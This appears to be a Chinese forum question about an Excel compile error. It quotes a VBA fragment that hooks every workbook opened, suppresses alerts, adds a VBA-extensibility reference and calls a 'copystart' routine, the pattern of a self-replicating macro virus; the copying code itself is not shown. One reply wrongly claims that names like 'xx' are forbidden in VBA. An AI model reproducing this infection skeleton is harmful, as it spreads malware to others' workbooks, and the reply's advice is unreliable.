Excel提示编译错误 Public WithEvents xx As Application Private Sub Workbook_open() Set xx = Applicati

Public WithEvents xx As Application
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Calls do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub

先把“xx”换城其他字符串。这个x，X，xx，XX 在VB，VBA里都不能乱用。

虽然我很聪明，但这么说真的难到我了